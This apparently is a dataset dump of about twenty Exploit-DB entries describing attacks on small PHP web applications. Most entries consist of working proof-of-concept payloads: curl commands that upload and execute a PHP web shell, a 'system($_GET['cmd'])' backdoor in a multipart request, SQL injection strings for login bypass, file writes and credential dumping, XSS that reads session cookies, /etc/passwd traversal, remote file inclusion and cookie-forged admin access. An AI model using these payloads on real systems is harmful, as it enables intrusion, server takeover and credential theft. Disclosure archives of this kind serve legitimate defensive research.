deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44318
Description: Vehicle Sales Management System - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2018-03-20
Author: Sing

Exploit:
# Exploit Title: VSMS Multiple Vulnerabilities
# Google Dork: N/A
# Date: 16-3-2018
# Exploit Author: Sing
# Vendor Homepage: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Software Link: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Version: 07/2017 (possible v1.2)
# Tested on: CentOS 6.9
# CVE : CVE-2[PII_REDACTED]



1 login/vehicles.php: Lack of file type filter enabling attacker to upload PHP scripts that can later be executed


POC

curl -i -b 'PHPSESSID=58csdp0as3lvqapqjesp67tr05' -F 'submit=submit' -F support_images[]=@./getShell.php http://10.0.0.14/soyket-vsms-php-63b563b/login/vehicles.php

The malicious PHP file has been uploaded to /var/www/html/soyket-vsms-php-63b563b/login/uploads.  Now, browse to the location and note the file name.  In my vase it's[PII_REDACTED]getShell.php.  To execute it do

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/uploads/[PII_REDACTED]getShell.php?cmd=id



2 login/profile.php: Found SQLI in the Date of Birth text box.


POC

Paste the below POC into the birth date text box and update.  A mysql version will appear in the Position box

2015-11-30',u_position=@@version,u_type='Employee' WHERE u_email='employee@employee.com';-- -



3 login/Actions.php: Found Stored XSS in manufacturer_name


POC

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=create -d 'manufacturer_name=<script>alert(document.cookie)</script>'

Now when user's browse to login/model.php page, he/she will see an alert with the session cookie

http://10.0.0.14/soyket-vsms-php-63b563b/login/model.php



4 login/Actions.php (Multiple vulnerabilities)


POC (SQLI)

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=checkuser -d "username=employee@employee.com' union select 'SQLIIII' into outfile'/tmp/stuff.txt"

This SQLI will write SQLIIII to /tmp/stuff.txt.




POC (Information Leak

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=listu

This gives anonymous user full list of the users table with unsalted MD5 hash passwords.



5. Solution:



The author notified of a new version with fixes (possibly v1.3).  It can be found at vendor’s home page

https://sourceforge.net/projects/vsms-php/?source=typ_redirect


Time Line

Author was notified of the vulnerabilities on 27-01-2018
Author notified of the new updates on 14-03-2018
Exploit released on 16-03-2018
Exploit-DB #42404
Description: VehicleWorkshop - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-08-01
Author: Touhid M.Shaikh

Exploit:
# Exploit Title: VehicleWorkshop Unrestricted File Upload or Shell Upload
# Exploit Author: Touhid M.Shaikh
# Date: 1/08/2017
# Vendor Homepage: https://github.com/spiritson/VehicleWorkshop
# Tested on : Kali Linux 2.0 64 bit and Windows 7



===================
Vulnerable Page:
===================

http://192.168.1.13/sellvehicle.php

====================
Vulnerable Source:
====================


--------------------------------PHP code-----------
<?php
if(isset($_POST["submit"]))
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);


--------------------------------------------------

-----------------------HTML Form -----------------
<label for="images"></label>
      <label for="file"></label>
      <input type="file" name="file" id="file" /><input type="hidden"
name="image"  />

-----------------------------------------------------------------------

U can upload Shell or File via Regular or customer User Account.

 ================= POC ======================

We need to login any customer account or create an account (
http://192.168.1.13/registration.php) and login.

After customer panel open Navigate to
http://192.168.1.13/sellvehicle.php

and feed data and upload you unrestricted file.

--------------------------Request---------------------------

POST /sellvehicle.php HTTP/1.1
Host: 192.168.1.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101
Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 1085
Referer: http://192.168.1.13/sellvehicle.php
Cookie: PHPSESSID=ccopsj443v8d2kksu0u40cte10
Connection: close
Upgrade-Insecure-Requests: 1

.
.
.
.skip

Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

.
.
.
.skip
------------------------------------------------------------------------------

--------------------------Rsponse --------------------------
HTTP/1.1 200 OK
Date: Mon, 31 Jul 2017 20:38:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 2909
Connection: close
Content-Type: text/html
------------------------------------------------------------------------------


====================================================================

Now You Can Access you Shell or File in /upload/backdoor.php

http://192.168.1.13/upload/backdoor.php


Enjoy !

Regards.
Touhid Shaikh
Exploit-DB #42403
Description: VehicleWorkshop - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-08-01
Author: Touhid M.Shaikh

Exploit:
[*] Type: Admin or Customer login bypass via SQL injection
[*] Author: Touhid M.Shaikh
[*] Vendor Homepage: https://github.com/spiritson/VehicleWorkshop
[*] Mail: touhidshaikh22[at]gmail[dot]com
[*] More info: https://blog.touhidshaikh.com/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


===================== PoC ================

Admin Login Page : http://127.0.0.1/emplogin.php
Customer Login Page : http://127.0.0.1/login.php


Navigate admin login page or Customer Login Page and submit ' OR 1 --+ for
username and password




and it should give you access to the admin area or Customer Area.


Regards.
Touhid Shaikh
Exploit-DB #42393
Description: VehicleWorkshop - SQL Injection
Type: webapps
Platform: php
Date: 2017-07-28
Author: Shahab Shamsi

Exploit:
# Exploit Title: VehicleWorkshop SQL Injection 
# Data: 07.28.2017
# Exploit Author: Shahab Shamsi
# Vendor HomagePage: https://github.com/spiritson/VehicleWorkshop
# Tested on: Windows
# Google Dork: N/A


=========
Vulnerable Page:
=========
/viewvehiclestoremore.php


==========
Vulnerable Source:
==========
Line5: if(isset($_GET['vahicleid']))
Line7: $results = mysql_query("DELETE from vehiclestore where vehicleid ='$_GET[vahicleid]'");



=========
POC:
=========
http://site.com/viewvehiclestoremore.php?vahicleid=[SQL]



=========
Contact Me :
=========
Telegram : @Shahab_Shamsi
Email : info@securityman.org
WebSilte : WwW.iran123.Org
Exploit-DB #48023
Description: VehicleWorkshop 1.0 - 'bookingid' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-07
Author: Mehran Feizi

Exploit:
# Exploit Title: VehicleWorkshop 1.0 - 'bookingid' SQL Injection 
# Data: 2020-02-06
# Exploit Author: Mehran Feizi
# Vendor HomagePage: https://github.com/spiritson/VehicleWorkshop
# Tested on: Windows
# Google Dork: N/A


=========
Vulnerable Page:
=========
/viewtestdrive.php


==========
Vulnerable Source:
==========
Line6: if(isset($_GET['testid']))
Line8: $results = mysql_query("DELETE from testdrive where bookingid ='$_GET[testid]'");
Line11: if(isset($_GET['testbid']))
Line13: $results = mysql_query("UPDATE testdrive SET status='Approved' where bookingid ='$_GET[testbid]'");
Line16: if(isset($_GET['testbida']))
Line:18: $results = mysql_query("UPDATE testdrive SET status='Rejected' where bookingid ='$_GET[testbida]'");

=========
POC:
=========
http://site.com/viewtestdrive.php?bookingid=[SQL]
Exploit-DB #33906
Description: velBox 1.2 - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-28
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/39778/info

velBox is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

velBox 1.2 is vulnerable; other versions may also be affected. 


The following example data is available:

http://www.example.com/velBox-cms-p30vel/admin/

javascript:document.cookie="login_admin=true;path=/
Exploit-DB #12019
Description: Velhost Uploader Script 1.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-02
Author: cr4wl3r

Exploit:
===============================================================
velhost uploader script v1.2 Local File Inclusion Vulnerability
===============================================================

[+] velhost uploader script v1.2 Local File Inclusion Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered by: cr4wl3r
[+] Advisories: http://shell4u.oni.cc/home/exploits/velhost.txt
[+] Code [upload.php]

include("./lang/$language.php");

[+] PoC: [path]/pages/upload.php?language=../../../../../etc/passwd%00



# Inj3ct0r.com [2010-04-02]
Exploit-DB #46549
Description: Vembu Storegrid Web Interface 4.4.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2019-03-15
Author: Gionathan Reale

Exploit:
# Exploit Title: Vembu Storegrid Web Interface 4.4.0 - Multiple Vulnerabilities 
# Discovery Date: 2018-12-05 
# Exploit Author: Gionathan "John" Reale 
# Vendor Homepage: https://www.vembu.com/ 
# Software Link : N/A
# Google Dork: N/A
# Version: 4.4.0 
# CVE : CVE-2014-10078,CVE-2014-10079
Description StoreGrid enables you to offer an automated online backup service to your customers and is designed to be flexible to your needs. Upon investigating the web interface I discovered multiple vulnerabilities. 
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
Information Disclosure. The front page of the server web interface leaks the private IP address in the hidden form "ipaddress" around line 80. 
========================================================================================================================== 
Reflected XSS. The server web interface contains multiple reflected XSS exploits that do not require authentication. 
https://xxxxxxxx.xx:6061/interface/registercustomer/onlineregsuccess.php?cn=</font><script>alert(1);</script><font>&result= 
https://xxxxxxxx.xx:6061//interface/registercustomer/onlineregsuccess.php?cn=</font><script>alert(1);</script><font>&result= 
https://xxxxxxxx.xx:6061/interface/registercustomer/onlineregsuccess.php?cn=</font><script>alert(1);</script><font>&result= 
https://xxxxxxxxx.xx:6061/interface/registerreseller/onlineregfailure.php?cn=gar&result=</font><script>alert(1);</script><font> 
https://xxxxxxxxx.xx:6061/interface/registerclient/onlineregfailure.php?cn=gar&result=</font><script>alert(1);</script><font> 
https://xxxxxxxx.xx:6061/interface/registercustomer/onlineregfailure.php?cn=gar&result=</font><script>alert(1);</script><font> 
============================================================================================================================= 
Self XSS. The server web interface contains a self XSS in the search function. 
==============================================================================================================================
Exploit-DB #32605
Description: Venalsur Booking Centre 2.01 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-29
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32530/info

Venalsur Booking Centre is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/cadena_paquetes_ext.php?HotelID=pouya_Server&PaqueteID=<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>
http://www.example.com/hotel.php?HotelID=<script>alert(1369)</script>
Exploit-DB #6876
Description: Venalsur on-line Booking Centre - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-10-29
Author: d3b4g

Exploit:
Booking System for Hotels Group  powered by Venalsur Bookingcenter  XSS/SQL injetion vulnerability!
------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------
Author:   d3b4g

Greetz:   str0ke,,Darkc0de.com,rez0rn,draconyx,godinlaw,hatebreeder And all my friends
Site   :  www.bl4ck3nd.info
Contact:  bl4ckend[at]gmail[dot]com
-------------------------------------------------------------------


-------------------------------------------------------------------
Dork:         N/A
-------------------------------------------------------------------
Affected software:

-----------------
Application : Booking System for Hotels Group powered by Venalsur Bookingcenter
URL :  http://www.bookingcentre.eu
===================================================================

Sql injection
=============


Exploit: http://site.com/www_en/cadena_ofertas_ext.php?OfertaID= [sql]

Demo   : http://demo.hotelsadmin.com/www_en/cadena_ofertas_ext.php?OfertaID=-1+union+all+select+1,2,3,concat(username,password),5,6,7,8,9,10,11+from+members/*

------------------------------------------------------------------------

Xss
===

Exploit:http://demo.hotelsadmin.com/www_en/cadena_ofertas_ext.php?OfertaID=<script>alert(40[PII_REDACTED]991)</script>

=========================================================================

Proud to be a maldivian :):) Happy new maldives [29.10.2008]

# milw0rm.com [2008-10-29]
Exploit-DB #38880
Description: Veno File Manager - 'q' Arbitrary File Download
Type: webapps
Platform: php
Date: 2013-12-11
Author: Daniel Godoy

Exploit:
source: https://www.securityfocus.com/bid/64346/info

Veno File Manager is prone to a vulnerability that lets attackers download arbitrary files because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the web server process. Information obtained may aid in further attacks. 

http://www.example.com/filemanager/vfm-admin/vfm-downloader.php?q=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Exploit-DB #27053
Description: Venom Board - 'Post.php3' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-09
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16176/info

Venom Board is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/venomboard/forum/post.php3?topic_id=999%20union%20select%201,2,3,4,5,6,7/*
Exploit-DB #38010
Description: VeriCentre - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-11-06
Author: Cory Eubanks

Exploit:
source: https://www.securityfocus.com/bid/56409/info

VeriCentre is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

VeriCentre versions prior to 2.2 build 36 are vulnerable. 

http://www.example.com/WebConsole/terminal/paramedit.aspx?TerminalId=%27%2bconvert%28int,@
@version%29%2b%27&ModelName=xxxx&ApplicationName=xxxx&ClusterId=
Exploit-DB #32988
Description: VerliAdmin 0.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-05
Author: TEAMELITE

Exploit:
source: https://www.securityfocus.com/bid/34845/info

VerliAdmin is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issues affect VerliAdmin 0.3.7 and 0.3.8; other versions may also be affected. 

http//www.example.com/index.php?q=bantest&nick="><script>alert(String.fromCharCode(88,83,83))</script>
http//www.example.com/index.php?nick="'/><script>alert(String.fromCharCode(88,83,83))</script>
http//www.example.com/index.php?q="'/><script>alert(String.fromCharCode(88,83,83))</script>
http//www.example.com/index.php?"'/><script>alert(String.fromCharCode(88,83,83))</script>
Exploit-DB #32989
Description: Verlihub Control Panel 1.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-06
Author: TEAMELITE

Exploit:
source: https://www.securityfocus.com/bid/34856/info

Verlihub Control Panel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issues affect Verlihub Control Panel 1.7e; other versions may also be affected.

http://www.example.com/index.php?page=login&nick="><script>alert("Vulnerable");</script>
http://www.example.com/index.php?page=login&nick="><iframe src=
http://www.example.com/index.html?news></iframe>
Exploit-DB #4494
Description: Verlihub Control Panel 1.7.x - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-07
Author: TEAMELITE

Exploit:
#####################################################################################
#Verlihub Control Panel v 1.7 PHP 4.x  Local File Inclusion
#http://vhcp.verlihub- project.org/
#
#Bug Found By Methodman
#From TEAMELITE <-> dchub.nemesis.te-home.net:4120
#####################################################################################
#Bug:
#Line: 27 - ini_set("magic_quotes_gpc","1"); ............................ Line: 71 - $page_name =
#isset($_GET['page']) ? $_GET['page'] : (!isset($_SESSION['verliadmin']) ? 'start' : 'start'); .....Line: 145 - #require_once("./pages/$page_name.php");
#####################################################################################
#NEED: magic_quotes=OFF
#
#NEED: disable_functions=ini_set
#####################################################################################
#
#Exploit:
#
#http://site/path/?page=../../../../../../../../etc/passwd%00
#
#
##################################################################################### 
#
#Gr33tZ: To All Members Of TEAMELITE
#       Ashura,Lord_Zero,Meka][Meka,Ne0
#                  AND
#        My Friend  Elekt  From Antichat.
#####################################################################################    
#My 3N3mY ?: ...Mish and Dark If Y0u FUck w1t me,I'll pUt my f00t in y0ur aSs !...
#####################################################################################

# milw0rm.com [2007-10-07]
Exploit-DB #3847
Description: Versado CMS 1.07 - 'ajax_listado.php?urlModulo' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-04
Author: kezzap66345

Exploit:
##############################################################################################
##############################################################################################
#Versado CMS  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:includes/ajax_listado.php
#
# if(!empty($_GET['urlModulo'])){
       require_once($_GET['urlModulo']);
}else if(!empty($_POST['urlModulo'])){
       require_once($_POST['urlModulo']);


#BUG:
#
#Example:http://site.com/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]]
#Script Download
#############################################################################
#http://sourceforge.net/project/downloading.php?group_id=149698&use_mirror=puzzle&filename=versado_CMS.rar&80698096
#
#Original W3b Site############################################################################
#
#http://www.versado.com.ar/control/index.php
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04]
Exploit-DB #36508
Description: VertrigoServ 2.25 - 'extensions.php' Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-05
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51293/info

VertrigoServ is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

VertrigoServ 2.25 is vulnerable; other versions may also be affected. 

http://www.example.com/inc/extensions.php?mode=extensions&ext=&#039;"</script><script>alert(document.cookie)</script>